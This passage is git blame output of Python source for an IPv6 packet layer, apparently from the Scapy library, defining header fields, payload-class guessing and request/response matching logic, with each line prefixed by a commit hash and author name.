3180d49a3d0e63f90e8a46a9221b85ed599fa1b186fsachetmittal         132:"SCTP",
3190d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz         135:"Mobility Header"}
320c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
321c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilipv6nhcls = {  0: "IPv6ExtHdrHopByHop",
322c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               4: "IP",
323c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               6: "TCP",
324c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               17: "UDP",
325c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               43: "IPv6ExtHdrRouting",
326c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               44: "IPv6ExtHdrFragment",
327c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              #50: "IPv6ExtHrESP",
328c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              #51: "IPv6ExtHdrAH",
3290d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               58: "ICMPv6Unknown",
330c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               59: "Raw",
3315a64a524ad2b2b3e9d6ee03035e1d9aa52aef32fsachetmittal               60: "IPv6ExtHdrDestOpt" }
332c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
333c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IP6ListField(StrField):
334b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["count_from", "length_from"]
335c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    islist = 1
336c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, count_from=None, length_from=None):
337c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if default is None:
338c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            default = []
339c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        StrField.__init__(self, name, default)
340c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.count_from = count_from
341c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.length_from = length_from
342c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
343c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
344c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 16*len(i)
345c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
346c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2count(self, pkt, i):
347d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if isinstance(i, list):
348c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return len(i)
349c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3500d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
351c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
352c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        c = l = None
353c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.length_from is not None:
354c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            l = self.length_from(pkt)
355c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif self.count_from is not None:
356c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            c = self.count_from(pkt)
3570d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
358c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        lst = []
3591186356a1d73fd59b700d8af05e789d0e8899de6gpotter        ret = b""
360c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        remain = s
361c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l is not None:
362c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            remain,ret = s[:l],s[l:]
363c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        while remain:
364c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if c is not None:
365c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if c <= 0:
366c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    break
367c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                c -= 1
368c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = inet_ntop(socket.AF_INET6, remain[:16])
369c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            lst.append(addr)
370c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            remain = remain[16:]
371c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return remain+ret,lst
372c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
373c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
3741186356a1d73fd59b700d8af05e789d0e8899de6gpotter        s = b""
375c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for y in x:
376c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
377c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                y = inet_pton(socket.AF_INET6, y)
378c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except:
379c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0]
380c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                y = inet_pton(socket.AF_INET6, y)
381c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += y
38277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return s
383c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
384c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self,pkt,x):
385c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        s = []
38677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if x == None:
38777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            return "[]"
38877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        for y in x:
38977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            s.append('%s' % y)
390c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "[ %s ]" % (", ".join(s))
3910d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
3920d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass _IPv6GuessPayload:
393c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Dummy class that implements guess_payload_class() for IPv6"
394c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def default_payload_class(self,p):
395b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon        if self.nh == 58: # ICMPv6
396b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter            t = orb(p[0])
397505336e8b146b3f85ece8690f3a434f6a97dfe1fmtu            if len(p) > 2 and (t == 139 or t == 140): # Node Info Query
398c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return _niquery_guesser(p)
3992bbd2905d8d464b3ac211f0f65d493663e0bbfb1gpotter            if len(p) >= icmp6typesminhdrlen.get(t, float("inf")): # Other ICMPv6 messages
400b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                return get_cls(icmp6typescls.get(t,"Raw"), "Raw")
401b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon            return Raw
402d5f51f6843ffa1d375e947a5cb03965b5291129dPierre LALET        elif self.nh == 135 and len(p) > 3: # Mobile IPv6
403b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter            return _mip6_mhtype2cls.get(orb(p[2]), MIP6MH_Generic)
404b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter        elif self.nh == 43 and orb(p[2]) == 4:  # Segment Routing header
40535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            return IPv6ExtHdrSegmentRouting
40635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        return get_cls(ipv6nhcls.get(self.nh, "Raw"), "Raw")
407c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
408c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IPv6(_IPv6GuessPayload, Packet, IPTools):
409c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6"
410c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ BitField("version" , 6 , 4),
411c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("tc", 0, 8), #TODO: IPv6, ByteField ?
41277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("fl", 0, 20),
41377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    ShortField("plen", None),
414c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("nh", 59, ipv6nh),
415c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("hlim", 64),
416c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    SourceIP6Field("src", "dst"), # dst is for src @ selection
417104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET                    DestIP6Field("dst", "::1") ]
418614f54fc4b269030ba2934b6c353fb43de886e04Phil
419614f54fc4b269030ba2934b6c353fb43de886e04Phil    def route(self):
420614f54fc4b269030ba2934b6c353fb43de886e04Phil        dst = self.dst
421614f54fc4b269030ba2934b6c353fb43de886e04Phil        if isinstance(dst,Gen):
422d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter            dst = next(iter(dst))
423614f54fc4b269030ba2934b6c353fb43de886e04Phil        return conf.route6.route(dst)
424614f54fc4b269030ba2934b6c353fb43de886e04Phil
425c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
426a3618a09887e39536009036d2e88341c61d4d385gpotter        return "%s > %s (%i)" % (self.src, self.dst, self.nh)
427c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
428c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, p, pay):
42977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        p += pay
430c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.plen is None:
431c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            l = len(p) - 40
432c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            p = p[:4]+struct.pack("!H", l)+p[6:]
433c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return p
434c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
435c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
436c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.plen
437c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:l], s[l:]
438c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
439c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
440c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 58 and isinstance(self.payload, _ICMPv6):
441c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if self.payload.type < 128:
442c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return self.payload.payload.hashret()
443c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif (self.payload.type in [133,134,135,136,144,145]):
444c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return struct.pack("B", self.nh)+self.payload.hashret()
445c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
446db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet        if not conf.checkIPinIP and self.nh in [4, 41]:  # IP, IPv6
447db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            return self.payload.hashret()
448db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet
44977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        nh = self.nh
450a3618a09887e39536009036d2e88341c61d4d385gpotter        sd = self.dst
451a3618a09887e39536009036d2e88341c61d4d385gpotter        ss = self.src
452c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting):
4530d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # With routing header, the destination is the last
4540d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # address of the IPv6 list if segleft > 0
45577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            nh = self.payload.nh
45677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            try:
45777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = self.addresses[-1]
45877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            except IndexError:
45977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = '::1'
46077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            # TODO: big bug with ICMPv6 error messages as the destination of IPerror6
46177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            #       could be anything from the original list ...
46277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if 1:
46377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = inet_pton(socket.AF_INET6, sd)
46477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                for a in self.addresses:
46577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    a = inet_pton(socket.AF_INET6, a)
46677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    sd = strxor(sd, a)
46777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = inet_ntop(socket.AF_INET6, sd)
468c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
46935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrSegmentRouting):
47035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            # With segment routing header (rh == 4), the destination is
47135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            # the first address of the IPv6 addresses list
472f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain            try:
473f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                sd = self.addresses[0]
474f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain            except IndexError:
475a3618a09887e39536009036d2e88341c61d4d385gpotter                sd = self.dst
476f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
477c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment):
4780d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            nh = self.payload.nh
479c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
480c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop):
4810d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            nh = self.payload.nh
482c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
483c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt):
484c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            foundhao = None
485c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            for o in self.payload.options:
486c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if isinstance(o, HAO):
487c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    foundhao = o
488c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if foundhao:
489c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                nh = self.payload.nh # XXX what if another extension follows ?
490c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ss = foundhao.hoa
491c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
492a24f657bfd8370839bc40532e872aea4b65cd1feGuillaume Valadon        if conf.checkIPsrc and conf.checkIPaddr and not in6_ismaddr(sd):
493c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            sd = inet_pton(socket.AF_INET6, sd)
494a3618a09887e39536009036d2e88341c61d4d385gpotter            ss = inet_pton(socket.AF_INET6, self.src)
495a24f657bfd8370839bc40532e872aea4b65cd1feGuillaume Valadon            return strxor(sd, ss) + struct.pack("B", nh) + self.payload.hashret()
496c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
497c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return struct.pack("B", nh)+self.payload.hashret()
498c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
499c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
500db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet        if not conf.checkIPinIP:  # skip IP in IP and IPv6 in IP
501db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            if self.nh in [4, 41]:
502db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet                return self.payload.answers(other)
503db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            if isinstance(other, IPv6) and other.nh in [4, 41]:
504db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet                return self.answers(other.payload)
505db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            if isinstance(other, IP) and other.proto in [4, 41]:
506db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet                return self.answers(other.payload)
507c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not isinstance(other, IPv6): # self is reply, other is request
508c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return False
5090d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        if conf.checkIPaddr:
5100aeb049606bee9335e62afea58479915bd6e2344Pierre LALET            # ss = inet_pton(socket.AF_INET6, self.src)
511a3618a09887e39536009036d2e88341c61d4d385gpotter            sd = inet_pton(socket.AF_INET6, self.dst)
512a3618a09887e39536009036d2e88341c61d4d385gpotter            os = inet_pton(socket.AF_INET6, other.src)
513a3618a09887e39536009036d2e88341c61d4d385gpotter            od = inet_pton(socket.AF_INET6, other.dst)
51477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            # request was sent to a multicast address (other.dst)
5150d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # Check reply destination addr matches request source addr (i.e
516c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # sd == os) except when reply is multicasted too
517c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX test mcast scope matching ?
518a3618a09887e39536009036d2e88341c61d4d385gpotter            if in6_ismaddr(other.dst):
519a3618a09887e39536009036d2e88341c61d4d385gpotter                if in6_ismaddr(self.dst):
5200d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    if ((od == sd) or
521a3618a09887e39536009036d2e88341c61d4d385gpotter                        (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))):
522c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                         return self.payload.answers(other.payload)
523c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    return False
5240d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                if (os == sd):
525c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    return self.payload.answers(other.payload)
526c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return False
5270d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            elif (sd != os): # or ss != od): <- removed for ICMP errors
528c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return False
529c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128:
530c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # ICMPv6 Error message -> generated by IPv6 packet
531c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # Note : at the moment, we jump the ICMPv6 specific class
532c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # to call answers() method of erroneous packet (over
533c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # initial packet). There can be cases where an ICMPv6 error
534c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # class could implement a specific answers method that perform
535c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # a specific task. Currently, don't see any use ...
536c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.payload.answers(other)
537c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop):
5380d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            return self.payload.answers(other.payload.payload)
539c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment):
5400d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            return self.payload.answers(other.payload.payload)
541c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting):
542c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting
54335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrSegmentRouting):
544f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain            return self.payload.answers(other.payload.payload)  # Buggy if self.payload is a IPv6ExtHdrRouting
545c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt):
546c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.payload.answers(other.payload.payload)
547c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance
548c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.payload.answers(other.payload)
549c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
550c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if (self.nh != other.nh):
551c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return False
552c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.answers(other.payload)
553c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
554614f54fc4b269030ba2934b6c353fb43de886e04Phil
5551bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadonclass _IPv46(IP):
5561bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    """
5571bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    This class implements a dispatcher that is used to detect the IP version
5581bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    while parsing Raw IP pcap files.
5591bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    """
5601bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    @classmethod
5611bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    def dispatch_hook(cls, _pkt=None, *_, **kargs):
5621bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon        if _pkt:
563d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter            if orb(_pkt[0]) >> 4 == 6:
5641bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon                return IPv6
5651bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon        elif kargs.get("version") == 6:
5661bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon            return IPv6
5671bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon        return IP
5681bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon
5691bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon
5706a3a6cb71496d821e4f121e2f2989f940cc98757Guillaume Valadondef inet6_register_l3(l2, l3):
5716a3a6cb71496d821e4f121e2f2989f940cc98757Guillaume Valadon    return getmacbyip6(l3.dst)
5726a3a6cb71496d821e4f121e2f2989f940cc98757Guillaume Valadonconf.neighbor.register_l3(Ether, IPv6, inet6_register_l3)
573614f54fc4b269030ba2934b6c353fb43de886e04Phil
574c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
575c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IPerror6(IPv6):
576c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 in ICMPv6"
577c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
578c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not isinstance(other, IPv6):
579c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return False
580a3618a09887e39536009036d2e88341c61d4d385gpotter        sd = inet_pton(socket.AF_INET6, self.dst)
581a3618a09887e39536009036d2e88341c61d4d385gpotter        ss = inet_pton(socket.AF_INET6, self.src)
582a3618a09887e39536009036d2e88341c61d4d385gpotter        od = inet_pton(socket.AF_INET6, other.dst)
583a3618a09887e39536009036d2e88341c61d4d385gpotter        os = inet_pton(socket.AF_INET6, other.src)
584c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
58577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        # Make sure that the ICMPv6 error is related to the packet scapy sent
58677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128:
5870d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
588c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # find upper layer for self (possible citation)
589c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            selfup = self.payload
590c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while selfup is not None and isinstance(selfup, _IPv6ExtHdr):
591c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                selfup = selfup.payload
592c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
593c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # find upper layer for other (initial packet). Also look for RH
594c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            otherup = other.payload
595c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            request_has_rh = False
596c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while otherup is not None and isinstance(otherup, _IPv6ExtHdr):
597c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if isinstance(otherup, IPv6ExtHdrRouting):
598c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    request_has_rh = True
599c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                otherup = otherup.payload
600c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
6010d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            if ((ss == os and sd == od) or      # <- Basic case
6020d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                (ss == os and request_has_rh)): # <- Request has a RH :
603c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                #    don't check dst address
6040d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
6050d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                # Let's deal with possible MSS Clamping
6060d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                if (isinstance(selfup, TCP) and
607c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    isinstance(otherup, TCP) and
608c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.options != otherup.options): # seems clamped
609c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
6100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    # Save fields modified by MSS clamping
611c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_otherup_opts    = otherup.options
612c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_otherup_cksum   = otherup.chksum
613c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_otherup_dataofs = otherup.dataofs
614c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_selfup_opts     = selfup.options
615c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_selfup_cksum    = selfup.chksum
616c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_selfup_dataofs  = selfup.dataofs
617c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
618c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    # Nullify them
619c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.options = []
620c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.chksum  = 0
621c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.dataofs = 0
622c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.options  = []
623c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.chksum   = 0
624c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.dataofs  = 0
